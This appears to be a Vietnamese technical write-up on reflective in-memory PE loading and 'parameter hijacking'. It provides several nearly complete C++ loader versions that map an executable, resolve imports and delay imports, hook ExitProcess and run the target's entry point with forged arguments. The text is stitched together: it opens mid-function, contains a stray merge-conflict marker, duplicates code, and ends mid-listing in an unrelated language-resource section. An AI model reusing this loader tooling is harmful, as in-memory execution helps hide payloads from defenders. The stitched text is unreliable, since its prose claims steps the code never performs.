    ULONGLONG delta = reinterpret_cast<ULONGLONG>(image_) - nt_->OptionalHeader.ImageBase;
    if (!delta) return true;
    auto& dir = nt_->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    if (!dir.Size) { std::cerr << "[reloc] table missing\n"; return false; }
    auto reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(util::rvaToPtr(image_, dir.VirtualAddress));
    while (reloc->SizeOfBlock) {
        auto entries = reinterpret_cast<PWORD>(reloc + 1);
        int count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
        for (int i = 0; i < count; ++i) {
            WORD type = entries[i] >> 12; WORD off = entries[i] & 0xFFF;
            if (type == IMAGE_REL_BASED_DIR64 || type == IMAGE_REL_BASED_HIGHLOW) {
                auto patch = reinterpret_cast<PULONGLONG>(util::rvaToPtr(image_, reloc->VirtualAddress + off));
                *patch += delta;
            }
        }
        reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<BYTE*>(reloc) + reloc->SizeOfBlock);
    }
    return true;
}

Parameter Hijacking

Thông thường, khi một chương trình C/cpp được khởi chạy, nó nhận các đối số dòng lệnh theo dạng:

int main(int argc, char* argv[])

Tuy nhiên, trong thực tế, main() không phải là entry point của process. Trước khi gọi đến main(), hệ thống runtime của C (CRT) sẽ thực hiện một số bước khởi tạo quan trọng. Cụ thể, chương trình sẽ gọi các hàm như:

GetCommandLineA() / GetCommandLineW() để lấy chuỗi lệnh ban đầu,
GetEnvironmentStrings() để lấy biến môi trường, Sau đó, chuỗi dòng lệnh sẽ được phân tích cú pháp thành mảng argv, giá trị argc, và biến môi trường envp. Các thông tin này sẽ được gán vào những biến toàn cục như:

__argc, __argv, _environ

Và sau cùng, CRT mới gọi:

main(__argc, __argv, _environ);

Do đó, nếu chúng ta muốn (parameter hijacking) chỉ thực hiện sửa chuỗi dòng lệnh trong PEB thôi là chưa đủ. Chúng ta phải can thiệp đồng thời vào 3 khu vực sau để đảm bảo chương trình mục tiêu nhận đúng đối số giả mạo:

Process Environment Block
- Chứa chuỗi CommandLine và ImagePathName.
- Được dùng bởi các API hệ thống như GetCommandLineW().
Thư viện MSVCRT.dll (hoặc ucrtbase.dll)
- Lưu trữ các biến toàn cục: __argc, __argv, __wargv, _environ, v.v.
- Được sử dụng trực tiếp trong main() hoặc các hàm C tiêu chuẩn.
Thư viện KERNELBASE.dll
- Một số bản sao hoặc ánh xạ của các biến kể trên cũng tồn tại trong KERNELBASE.dll (tùy phiên bản Windows).
- Một số runtime hiện đại có thể truy cập gián tiếp thông qua thư viện này.

Execution Strategy

Execution Methods:

EXE: Tạo thread mới, gọi entry point như main()
DLL: Gọi DllMain với DLL_PROCESS_ATTACH

Final

Full POC


#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winternl.h>
#include <string>
#include <vector>
#include <memory>
#include <iostream>
#include <cstring>

#pragma comment(lib, "kernel32.lib")

// --------------------------------------------------
// Utility
// --------------------------------------------------
namespace util {
    inline LPVOID rvaToPtr(LPVOID base, DWORD rva) {
        return static_cast<BYTE*>(base) + rva;
    }
}

// --------------------------------------------------
// RAII file‑mapping wrapper
// --------------------------------------------------
class FileMap {
public:
    explicit FileMap(const std::string& path) {
        file_ = CreateFileA(path.c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr,
                            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
        if (file_ == INVALID_HANDLE_VALUE) {
            std::cerr << "[FileMap] Cannot open " << path << " (" << GetLastError() << ")\n";
            return;
        }
        size_ = GetFileSize(file_, nullptr);
        mapping_ = CreateFileMappingA(file_, nullptr, PAGE_READONLY, 0, 0, nullptr);
        if (!mapping_) {
            std::cerr << "[FileMap] CreateFileMapping failed (" << GetLastError() << ")\n";
            return;
        }
        view_ = MapViewOfFile(mapping_, FILE_MAP_READ, 0, 0, 0);
        if (!view_) {
            std::cerr << "[FileMap] MapViewOfFile failed (" << GetLastError() << ")\n";
        }
    }
    ~FileMap() {
        if (view_)    UnmapViewOfFile(view_);
        if (mapping_) CloseHandle(mapping_);
        if (file_ != INVALID_HANDLE_VALUE) CloseHandle(file_);
    }
    [[nodiscard]] bool   valid() const { return view_ != nullptr; }
    [[nodiscard]] const void* data()  const { return view_; }
    [[nodiscard]] DWORD  size()  const { return size_; }

private:
    HANDLE file_{ INVALID_HANDLE_VALUE };
    HANDLE mapping_{ nullptr };
    LPVOID view_{ nullptr };
    DWORD  size_{ 0 };
};

// --------------------------------------------------
// Command‑line helper (skips first <skip> parameters)
// --------------------------------------------------
class CommandLine {
public:
    CommandLine(int argc, char* argv[], int skip = 0) {
        for (int i = skip; i < argc; ++i) args_.emplace_back(argv[i]);
        buildRaw();
        buildArgv();
    }
    [[nodiscard]] int      argc() const { return static_cast<int>(args_.size()); }
    [[nodiscard]] char**   argv() const { return argv_.get(); }
    [[nodiscard]] LPCSTR   raw()  const { return raw_.c_str(); }

private:
    void buildRaw() {
        for (size_t i = 0; i < args_.size(); ++i) {
            if (i) raw_ += ' ';
            const auto& s = args_[i];
            if (s.find_first_of(" \t") != std::string::npos) raw_ += '"' + s + '"';
            else raw_ += s;
        }
    }
    void buildArgv() {
        argv_ = std::make_unique<char*[]>(args_.size());
        for (size_t i = 0; i < args_.size(); ++i) argv_[i] = args_[i].data();
    }
    std::vector<std::string> args_;
    std::string              raw_;
    std::unique_ptr<char*[]> argv_;
};

// Forward decl so static hook can access loader instance
class PELoader;
static PELoader* g_loader = nullptr;

// --------------------------------------------------
// PE loader (single‑file, minimal OOP)
// --------------------------------------------------
class PELoader {
public:
    explicit PELoader(CommandLine& cmd) : cmd_(cmd) { g_loader = this; }

    // Intercept ExitProcess so the host process keeps control
    static void WINAPI ExitProcessHook(UINT code) {
        if (g_loader) {
            g_loader->exitCalled_ = true;
            g_loader->exitCode_  = code;
            std::cout << "[+] ExitProcess intercepted — code=" << code << "\n";
        }
    }

    bool load(const std::string& path) {
        map_ = std::make_unique<FileMap>(path);
        if (!map_->valid()) return false;
        if (!isValidPE(map_->data())) { std::cerr << "[!] Invalid PE file\n"; return false; }
        nt_    = getNtHeaders(map_->data());
        image_ = allocateImage(nt_);
        if (!image_) return false;
        copyImage();
        nt_ = getNtHeaders(image_);
        return resolveImports() && applyRelocations();
    }

    int run() { return image_ ? callEntry() : -1; }

private:
    // ---------- helpers ----------
    static bool isValidPE(const void* data) {
        auto dos = reinterpret_cast<const IMAGE_DOS_HEADER*>(data);
        if (dos->e_magic != IMAGE_DOS_SIGNATURE) return false;
        auto nt  = reinterpret_cast<const IMAGE_NT_HEADERS*>(static_cast<const BYTE*>(data) + dos->e_lfanew);
        return nt->Signature == IMAGE_NT_SIGNATURE;
    }
    static PIMAGE_NT_HEADERS getNtHeaders(const void* base) {
        auto dos = reinterpret_cast<const IMAGE_DOS_HEADER*>(base);
        return reinterpret_cast<PIMAGE_NT_HEADERS>(static_cast<BYTE*>(const_cast<void*>(base)) + dos->e_lfanew);
    }
    LPVOID allocateImage(PIMAGE_NT_HEADERS nt) {
        SIZE_T sz = nt->OptionalHeader.SizeOfImage;
        auto preferred = reinterpret_cast<LPVOID>(nt->OptionalHeader.ImageBase);
        auto mem = VirtualAlloc(preferred, sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        return mem ? mem : VirtualAlloc(nullptr, sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    }
    void copyImage() {
        std::memcpy(image_, map_->data(), nt_->OptionalHeader.SizeOfHeaders);
        auto section = IMAGE_FIRST_SECTION(nt_);
        for (int i = 0; i < nt_->FileHeader.NumberOfSections; ++i, ++section) {
            if (!section->SizeOfRawData) continue;
            std::memcpy(util::rvaToPtr(image_, section->VirtualAddress),
                        static_cast<const BYTE*>(map_->data()) + section->PointerToRawData,
                        section->SizeOfRawData);
        }
    }

    bool resolveImports() {
        const auto& dir = nt_->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
        if (!dir.Size) return true;
        auto imp = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(util::rvaToPtr(image_, dir.VirtualAddress));
        while (imp->Name) {
            const char* dllName = reinterpret_cast<char*>(util::rvaToPtr(image_, imp->Name));
            HMODULE dll = LoadLibraryA(dllName);
            if (!dll) { std::cerr << "[!] Cannot load " << dllName << "\n"; return false; }
            auto thunkName = reinterpret_cast<PIMAGE_THUNK_DATA>(util::rvaToPtr(image_, imp->OriginalFirstThunk ? imp->OriginalFirstThunk : imp->FirstThunk));
            auto thunkIAT  = reinterpret_cast<PIMAGE_THUNK_DATA>(util::rvaToPtr(image_, imp->FirstThunk));
            while (thunkName->u1.AddressOfData) {
                FARPROC func = nullptr;
                if (IMAGE_SNAP_BY_ORDINAL(thunkName->u1.Ordinal)) {
                    func = GetProcAddress(dll, MAKEINTRESOURCEA(IMAGE_ORDINAL(thunkName->u1.Ordinal)));
                } else {
                    auto ibn = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(util::rvaToPtr(image_, thunkName->u1.AddressOfData));
                    func = (std::strcmp("ExitProcess", ibn->Name) == 0) ? reinterpret_cast<FARPROC>(&ExitProcessHook)
                                                                          : GetProcAddress(dll, ibn->Name);
                }
                thunkIAT->u1.Function = reinterpret_cast<ULONGLONG>(func);
                ++thunkName; ++thunkIAT;
            }
            ++imp;
        }
        return true;
    }

    bool applyRelocations() {
        ULONGLONG delta = reinterpret_cast<ULONGLONG>(image_) - nt_->OptionalHeader.ImageBase;
        if (!delta) return true;
        const auto& dir = nt_->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
        if (!dir.Size) { std::cerr << "[reloc] table missing\n"; return false; }
        auto reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(util::rvaToPtr(image_, dir.VirtualAddress));
        while (reloc->SizeOfBlock) {
            auto count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
            auto entry = reinterpret_cast<PWORD>(reloc + 1);
            for (DWORD i = 0; i < count; ++i, ++entry) {
                WORD type = *entry >> 12; WORD off = *entry & 0xFFF;
                if (type == IMAGE_REL_BASED_HIGHLOW || type == IMAGE_REL_BASED_DIR64) {
                    auto patch = reinterpret_cast<PULONGLONG>(util::rvaToPtr(image_, reloc->VirtualAddress + off));
                    *patch += delta;
                }
            }
            reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<BYTE*>(reloc) + reloc->SizeOfBlock);
        }
        return true;
    }

    int callEntry() {
        auto entry = util::rvaToPtr(image_, nt_->OptionalHeader.AddressOfEntryPoint);
        if (nt_->FileHeader.Characteristics & IMAGE_FILE_DLL) {
            auto dllMain = reinterpret_cast<BOOL (WINAPI*)(HINSTANCE,DWORD,LPVOID)>(entry);
            dllMain(reinterpret_cast<HINSTANCE>(image_), DLL_PROCESS_ATTACH, nullptr);
            return 0;
        }
        if (nt_->OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_WINDOWS_GUI) {
            auto winMain = reinterpret_cast<int (WINAPI*)(HINSTANCE,HINSTANCE,LPSTR,int)>(entry);
            return winMain(reinterpret_cast<HINSTANCE>(image_), nullptr, const_cast<char*>(cmd_.raw()), SW_SHOWDEFAULT);
        }
        auto mainFn = reinterpret_cast<int (*)(int,char**)>(entry);
        return mainFn(cmd_.argc(), cmd_.argv());
    }

    // ---------- members ----------
    CommandLine&                 cmd_;
    std::unique_ptr<FileMap>     map_;
    PIMAGE_NT_HEADERS            nt_ { nullptr };
    LPVOID                       image_ { nullptr };
    bool                         exitCalled_ { false };
    DWORD                        exitCode_   { 0 };
};

// --------------------------------------------------
// Entry point
// --------------------------------------------------
int main(int argc, char* argv[]) {
    if (argc < 2) {
        std::cout << "Usage: " << argv[0] << " <pe_file> [arguments...]\n";
        return 1;
    }
    CommandLine cmd(argc, argv, 2); // skip exe + target path
    PELoader loader(cmd);
    if (!loader.load(argv[1])) return 1;
    return loader.run();
}

<<<<<<< HEAD

With delay import
```cpp
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winternl.h>
#include <string>
#include <vector>
#include <memory>
#include <iostream>
#include <cstring>

#pragma comment(lib, "kernel32.lib")

// Delay import structures (in case SDK doesn't have them)
#ifndef IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13
#endif

#if (defined(_WIN32_WINNT) && _WIN32_WINNT <= 0x0601) && !defined(__MINGW32__)
#include "pshpack4.h"
typedef struct _IMAGE_DELAYLOAD_DESCRIPTOR {
    union {
        DWORD AllAttributes;
        struct {
            DWORD RvaBased : 1;             // Delay load version 2
            DWORD ReservedAttributes : 31;
        } DUMMYSTRUCTNAME;
    } Attributes;

    DWORD DllNameRVA;                       // RVA to the name of the target library
    DWORD ModuleHandleRVA;                  // RVA to the HMODULE caching location
    DWORD ImportAddressTableRVA;            // RVA to the start of the IAT
    DWORD ImportNameTableRVA;               // RVA to the start of the name table
    DWORD BoundImportAddressTableRVA;       // RVA to an optional bound IAT
    DWORD UnloadInformationTableRVA;        // RVA to an optional unload info table
    DWORD TimeDateStamp;                    // 0 if not bound
} IMAGE_DELAYLOAD_DESCRIPTOR, * PIMAGE_DELAYLOAD_DESCRIPTOR;
#include "poppack.h"
#endif

// --------------------------------------------------
// Utility
// --------------------------------------------------
namespace util {
    inline LPVOID rvaToPtr(LPVOID base, DWORD rva) {
        return static_cast<BYTE*>(base) + rva;
    }

    inline bool validatePtr(LPVOID base, SIZE_T baseSize, LPVOID ptr, SIZE_T ptrSize) {
        auto start = reinterpret_cast<ULONG_PTR>(base);
        auto end = start + baseSize;
        auto check = reinterpret_cast<ULONG_PTR>(ptr);
        return (check >= start) && (check + ptrSize <= end);
    }
}

// --------------------------------------------------
// RAII file‑mapping wrapper
// --------------------------------------------------
class FileMap {
public:
    explicit FileMap(const std::string& path) {
        file_ = CreateFileA(path.c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr,
            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
        if (file_ == INVALID_HANDLE_VALUE) {
            std::cerr << "[FileMap] Cannot open " << path << " (" << GetLastError() << ")\n";
            return;
        }
        size_ = GetFileSize(file_, nullptr);
        mapping_ = CreateFileMappingA(file_, nullptr, PAGE_READONLY, 0, 0, nullptr);
        if (!mapping_) {
            std::cerr << "[FileMap] CreateFileMapping failed (" << GetLastError() << ")\n";
            return;
        }
        view_ = MapViewOfFile(mapping_, FILE_MAP_READ, 0, 0, 0);
        if (!view_) {
            std::cerr << "[FileMap] MapViewOfFile failed (" << GetLastError() << ")\n";
        }
    }
    ~FileMap() {
        if (view_)    UnmapViewOfFile(view_);
        if (mapping_) CloseHandle(mapping_);
        if (file_ != INVALID_HANDLE_VALUE) CloseHandle(file_);
    }
    [[nodiscard]] bool   valid() const { return view_ != nullptr; }
    [[nodiscard]] const void* data()  const { return view_; }
    [[nodiscard]] DWORD  size()  const { return size_; }

private:
    HANDLE file_{ INVALID_HANDLE_VALUE };
    HANDLE mapping_{ nullptr };
    LPVOID view_{ nullptr };
    DWORD  size_{ 0 };
};

// --------------------------------------------------
// Command‑line helper (skips first <skip> parameters)
// --------------------------------------------------
class CommandLine {
public:
    CommandLine(int argc, char* argv[], int skip = 0) {
        for (int i = skip; i < argc; ++i) args_.emplace_back(argv[i]);
        buildRaw();
        buildArgv();
    }
    [[nodiscard]] int      argc() const { return static_cast<int>(args_.size()); }
    [[nodiscard]] char** argv() const { return argv_.get(); }
    [[nodiscard]] LPCSTR   raw()  const { return raw_.c_str(); }

private:
    void buildRaw() {
        for (size_t i = 0; i < args_.size(); ++i) {
            if (i) raw_ += ' ';
            const auto& s = args_[i];
            if (s.find_first_of(" \t") != std::string::npos) raw_ += '"' + s + '"';
            else raw_ += s;
        }
    }
    void buildArgv() {
        argv_ = std::make_unique<char* []>(args_.size());
        for (size_t i = 0; i < args_.size(); ++i) argv_[i] = args_[i].data();
    }
    std::vector<std::string> args_;
    std::string              raw_;
    std::unique_ptr<char* []> argv_;
};

// Forward decl so static hook can access loader instance
class PELoader;
static PELoader* g_loader = nullptr;

// --------------------------------------------------
// PE loader (single‑file, minimal OOP) with delay import support
// --------------------------------------------------
class PELoader {
public:
    explicit PELoader(CommandLine& cmd) : cmd_(cmd) { g_loader = this; }

    // Intercept ExitProcess so the host process keeps control
    static void WINAPI ExitProcessHook(UINT code) {
        if (g_loader) {
            g_loader->exitCalled_ = true;
            g_loader->exitCode_ = code;
            std::cout << "[+] ExitProcess intercepted — code=" << code << "\n";
        }
    }

    bool load(const std::string& path) {
        map_ = std::make_unique<FileMap>(path);
        if (!map_->valid()) return false;
        if (!isValidPE(map_->data())) {
            std::cerr << "[!] Invalid PE file\n";
            return false;
        }

        nt_ = getNtHeaders(map_->data());
        imageSize_ = nt_->OptionalHeader.SizeOfImage;
        image_ = allocateImage(nt_);
        if (!image_) return false;

        copyImage();
        nt_ = getNtHeaders(image_);

        return resolveImports() && resolveDelayImports() && applyRelocations();
    }

    int run() { return image_ ? callEntry() : -1; }

private:
    // ---------- helpers ----------
    static bool isValidPE(const void* data) {
        auto dos = reinterpret_cast<const IMAGE_DOS_HEADER*>(data);
        if (dos->e_magic != IMAGE_DOS_SIGNATURE) return false;
        auto nt = reinterpret_cast<const IMAGE_NT_HEADERS*>(static_cast<const BYTE*>(data) + dos->e_lfanew);
        return nt->Signature == IMAGE_NT_SIGNATURE;
    }

    static PIMAGE_NT_HEADERS getNtHeaders(const void* base) {
        auto dos = reinterpret_cast<const IMAGE_DOS_HEADER*>(base);
        return reinterpret_cast<PIMAGE_NT_HEADERS>(static_cast<BYTE*>(const_cast<void*>(base)) + dos->e_lfanew);
    }

    LPVOID allocateImage(PIMAGE_NT_HEADERS nt) {
        SIZE_T sz = nt->OptionalHeader.SizeOfImage;
        auto preferred = reinterpret_cast<LPVOID>(nt->OptionalHeader.ImageBase);
        auto mem = VirtualAlloc(preferred, sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        return mem ? mem : VirtualAlloc(nullptr, sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    }

    void copyImage() {
        std::memcpy(image_, map_->data(), nt_->OptionalHeader.SizeOfHeaders);
        auto section = IMAGE_FIRST_SECTION(nt_);
        for (int i = 0; i < nt_->FileHeader.NumberOfSections; ++i, ++section) {
            if (!section->SizeOfRawData) continue;
            std::memcpy(util::rvaToPtr(image_, section->VirtualAddress),
                static_cast<const BYTE*>(map_->data()) + section->PointerToRawData,
                section->SizeOfRawData);
        }
    }

    bool resolveImports() {
        const auto& dir = nt_->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
        if (!dir.Size) return true;

        auto imp = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(util::rvaToPtr(image_, dir.VirtualAddress));
        while (imp->Name) {
            const char* dllName = reinterpret_cast<char*>(util::rvaToPtr(image_, imp->Name));
            HMODULE dll = LoadLibraryA(dllName);
            if (!dll) {
                std::cerr << "[!] Cannot load " << dllName << "\n";
                return false;
            }

            auto thunkName = reinterpret_cast<PIMAGE_THUNK_DATA>(
                util::rvaToPtr(image_, imp->OriginalFirstThunk ? imp->OriginalFirstThunk : imp->FirstThunk));
            auto thunkIAT = reinterpret_cast<PIMAGE_THUNK_DATA>(util::rvaToPtr(image_, imp->FirstThunk));

            while (thunkName->u1.AddressOfData) {
                FARPROC func = nullptr;
                if (IMAGE_SNAP_BY_ORDINAL(thunkName->u1.Ordinal)) {
                    func = GetProcAddress(dll, MAKEINTRESOURCEA(IMAGE_ORDINAL(thunkName->u1.Ordinal)));
                }
                else {
                    auto ibn = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(
                        util::rvaToPtr(image_, thunkName->u1.AddressOfData));
                    func = (std::strcmp("ExitProcess", ibn->Name) == 0)
                        ? reinterpret_cast<FARPROC>(&ExitProcessHook)
                        : GetProcAddress(dll, ibn->Name);
                }
                thunkIAT->u1.Function = reinterpret_cast<ULONGLONG>(func);
                ++thunkName; ++thunkIAT;
            }
            ++imp;
        }
        return true;
    }

    bool resolveDelayImports() {
        const auto& dir = nt_->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT];
        if (!dir.Size) {
            std::cout << "[+] No delay imports to resolve\n";
            return true; // No delay imports
        }

        std::cout << "[+] Processing delay imports...\n";
        auto desc = reinterpret_cast<PIMAGE_DELAYLOAD_DESCRIPTOR>(util::rvaToPtr(image_, dir.VirtualAddress));

        while (desc->DllNameRVA) {
            if (!util::validatePtr(image_, imageSize_, desc, sizeof(IMAGE_DELAYLOAD_DESCRIPTOR))) {
                std::cerr << "[!] Invalid delay import descriptor\n";
                return false;
            }

            // Get DLL name
            ULONGLONG imageBase = nt_->OptionalHeader.ImageBase;
            ULONGLONG dllNameRva = desc->DllNameRVA;
            if (dllNameRva > imageBase) {
                dllNameRva -= imageBase; // Convert VA to RVA if needed
            }

            const char* dllName = reinterpret_cast<const char*>(util::rvaToPtr(image_, dllNameRva));
            if (!util::validatePtr(image_, imageSize_, const_cast<char*>(dllName), 1)) {
                std::cerr << "[!] Invalid DLL name in delay import\n";
                return false;
            }

            std::cout << "[+] Processing delay import DLL: " << dllName << "\n";

            // Process delay import functions
            bool success = false;
#ifdef _WIN64
            success = processDelayImport<ULONGLONG, IMAGE_THUNK_DATA64>(
                desc, dllName, imageBase, IMAGE_ORDINAL_FLAG64);
#else
            success = processDelayImport<DWORD, IMAGE_THUNK_DATA32>(
                desc, dllName, imageBase, IMAGE_ORDINAL_FLAG32);
#endif
            if (!success) {
                std::cerr << "[!] Failed to process delay imports for " << dllName << "\n";
                return false;
            }

            ++desc;
        }

        std::cout << "[+] Delay imports resolved successfully\n";
        return true;
    }

    template<typename T_FIELD, typename T_IMAGE_THUNK_DATA>
    bool processDelayImport(PIMAGE_DELAYLOAD_DESCRIPTOR desc, const char* dllName,
        ULONGLONG imageBase, T_FIELD ordinalFlag) {
        // Load the DLL
        HMODULE dll = LoadLibraryA(dllName);
        if (!dll) {
            std::cerr << "[!] Cannot load delay import DLL: " << dllName << "\n";
            return false;
        }

        // Get RVAs
        ULONGLONG iatRva = desc->ImportAddressTableRVA;
        if (iatRva > imageBase) iatRva -= imageBase;

        ULONGLONG thunkRva = desc->ImportNameTableRVA;
        if (thunkRva > imageBase) thunkRva -= imageBase;

        // Get pointers to tables
        auto iatPtr = reinterpret_cast<T_FIELD*>(util::rvaToPtr(image_, iatRva));
        auto thunkPtr = reinterpret_cast<T_IMAGE_THUNK_DATA*>(util::rvaToPtr(image_, thunkRva));

        // Process each function
        while (*iatPtr && thunkPtr->u1.AddressOfData) {
            if (!util::validatePtr(image_, imageSize_, iatPtr, sizeof(T_FIELD)) ||
                !util::validatePtr(image_, imageSize_, thunkPtr, sizeof(T_IMAGE_THUNK_DATA))) {
                std::cerr << "[!] Invalid delay import thunk\n";
                return false;
            }

            FARPROC func = nullptr;

            // Check if import by ordinal
            if (thunkPtr->u1.Ordinal & ordinalFlag) {
                T_FIELD ordinal = thunkPtr->u1.Ordinal & (~ordinalFlag);
                func = GetProcAddress(dll, MAKEINTRESOURCEA(ordinal));
            }
            else {
                // Import by name
                ULONGLONG nameRva = thunkPtr->u1.AddressOfData;
                if (nameRva > imageBase) nameRva -= imageBase;

                auto ibn = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(util::rvaToPtr(image_, nameRva));
                if (!util::validatePtr(image_, imageSize_, ibn, sizeof(IMAGE_IMPORT_BY_NAME))) {
                    std::cerr << "[!] Invalid import by name structure\n";
                    return false;
                }

                const char* funcName = reinterpret_cast<const char*>(ibn->Name);
                if (std::strcmp("ExitProcess", funcName) == 0) {
                    func = reinterpret_cast<FARPROC>(&ExitProcessHook);
                }
                else {
                    func = GetProcAddress(dll, funcName);
                }
            }

            if (func) {
                // Rather than using proxy functions, directly patch the IAT
                *iatPtr = reinterpret_cast<T_FIELD>(func);
            }
            else {
                std::cerr << "[!] Failed to resolve delay import function\n";
                return false;
            }

            ++iatPtr;
            ++thunkPtr;
        }

        return true;
    }

    bool applyRelocations() {
        ULONGLONG delta = reinterpret_cast<ULONGLONG>(image_) - nt_->OptionalHeader.ImageBase;
        if (!delta) return true;

        const auto& dir = nt_->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
        if (!dir.Size) {
            std::cerr << "[reloc] table missing\n";
            return false;
        }

        auto reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(util::rvaToPtr(image_, dir.VirtualAddress));
        while (reloc->SizeOfBlock) {
            auto count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
            auto entry = reinterpret_cast<PWORD>(reloc + 1);

            for (DWORD i = 0; i < count; ++i, ++entry) {
                WORD type = *entry >> 12;
                WORD off = *entry & 0xFFF;
                if (type == IMAGE_REL_BASED_HIGHLOW || type == IMAGE_REL_BASED_DIR64) {
                    auto patch = reinterpret_cast<PULONGLONG>(
                        util::rvaToPtr(image_, reloc->VirtualAddress + off));
                    *patch += delta;
                }
            }
            reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(
                reinterpret_cast<BYTE*>(reloc) + reloc->SizeOfBlock);
        }
        return true;
    }

    int callEntry() {
        auto entry = util::rvaToPtr(image_, nt_->OptionalHeader.AddressOfEntryPoint);
        if (nt_->FileHeader.Characteristics & IMAGE_FILE_DLL) {
            auto dllMain = reinterpret_cast<BOOL(WINAPI*)(HINSTANCE, DWORD, LPVOID)>(entry);
            dllMain(reinterpret_cast<HINSTANCE>(image_), DLL_PROCESS_ATTACH, nullptr);
            return 0;
        }
        if (nt_->OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_WINDOWS_GUI) {
            auto winMain = reinterpret_cast<int (WINAPI*)(HINSTANCE, HINSTANCE, LPSTR, int)>(entry);
            return winMain(reinterpret_cast<HINSTANCE>(image_), nullptr,
                const_cast<char*>(cmd_.raw()), SW_SHOWDEFAULT);
        }
        auto mainFn = reinterpret_cast<int (*)(int, char**)>(entry);
        return mainFn(cmd_.argc(), cmd_.argv());
    }

    // ---------- members ----------
    CommandLine& cmd_;
    std::unique_ptr<FileMap>     map_;
    PIMAGE_NT_HEADERS            nt_{ nullptr };
    LPVOID                       image_{ nullptr };
    SIZE_T                       imageSize_{ 0 };
    bool                         exitCalled_{ false };
    DWORD                        exitCode_{ 0 };
};

// --------------------------------------------------
// Entry point
// --------------------------------------------------
int main(int argc, char* argv[]) {
    if (argc < 2) {
        std::cout << "Usage: " << argv[0] << " <pe_file> [arguments...]\n";
        return 1;
    }
    CommandLine cmd(argc, argv, 2); // skip exe + target path
    PELoader loader(cmd);
    if (!loader.load(argv[1])) return 1;
    return loader.run();
}

Load MUI

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winternl.h>
#include <winnls.h>
#include <string>
#include <vector>
#include <memory>
#include <iostream>
#include <cstring>
#include <unordered_map>

#pragma comment(lib, "kernel32.lib")

// Delay import structures (in case SDK doesn't have them)
#ifndef IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13
#endif

#if (defined(_WIN32_WINNT) && _WIN32_WINNT <= 0x0601) && !defined(__MINGW32__)
#include "pshpack4.h"
typedef struct _IMAGE_DELAYLOAD_DESCRIPTOR {
    union {
        DWORD AllAttributes;
        struct {
            DWORD RvaBased : 1;             // Delay load version 2
            DWORD ReservedAttributes : 31;
        } DUMMYSTRUCTNAME;
    } Attributes;

    DWORD DllNameRVA;                       // RVA to the name of the target library
    DWORD ModuleHandleRVA;                  // RVA to the HMODULE caching location
    DWORD ImportAddressTableRVA;            // RVA to the start of the IAT
    DWORD ImportNameTableRVA;               // RVA to the start of the name table
    DWORD BoundImportAddressTableRVA;       // RVA to an optional bound IAT
    DWORD UnloadInformationTableRVA;        // RVA to an optional unload info table
    DWORD TimeDateStamp;                    // 0 if not bound
} IMAGE_DELAYLOAD_DESCRIPTOR, * PIMAGE_DELAYLOAD_DESCRIPTOR;
#include "poppack.h"
#endif

// --------------------------------------------------
// MUI Manager for Multilingual Support
// --------------------------------------------------
class MUIManager {
public:
    MUIManager() : currentMUI_(nullptr) {
        initializeDefaultLanguage();
    }

    ~MUIManager() {
        cleanup();
    }

    bool loadLanguage(const std::wstring& languageCode) {
        HMODULE newMUI = loadMUIModule(languageCode);
        if (newMUI) {
            if (currentMUI_ && currentMUI_ != GetModuleHandleW(nullptr)) {
                FreeLibrary(currentMUI_);
            }
            currentMUI_ = newMUI;
            currentLanguage_ = languageCode;
            std::wcout << L"[MUI] Loaded language: " << languageCode << L"\n";
            return true;
        }
        return false;
    }

    std::wstring loadString(UINT resourceId) const {
        if (!currentMUI_) return L"";

        wchar_t buffer[1024];
        int result = LoadStringW(currentMUI_, resourceId, buffer, 1024);
        return result > 0 ? std::wstring(buffer) : L"";
    }

    const std::wstring& getCurrentLanguage() const {
        return currentLanguage_;
    }

    bool isLanguageAvailable(const std::wstring& languageCode) const {
        HMODULE testMUI = loadMUIModule(languageCode);
        if (testMUI) {
            FreeLibrary(testMUI);
            return true;
        }
        return false;
    }

private:
    void initializeDefaultLanguage() {
        wchar_t langBuffer[LOCALE_NAME_MAX_LENGTH];
        if (GetUserDefaultLocaleName(langBuffer, LOCALE_NAME_MAX_LENGTH)) {
            currentLanguage_ = langBuffer;
        }
        else {
            currentLanguage_ = L"en-US";
        }

        // Try to load default language MUI
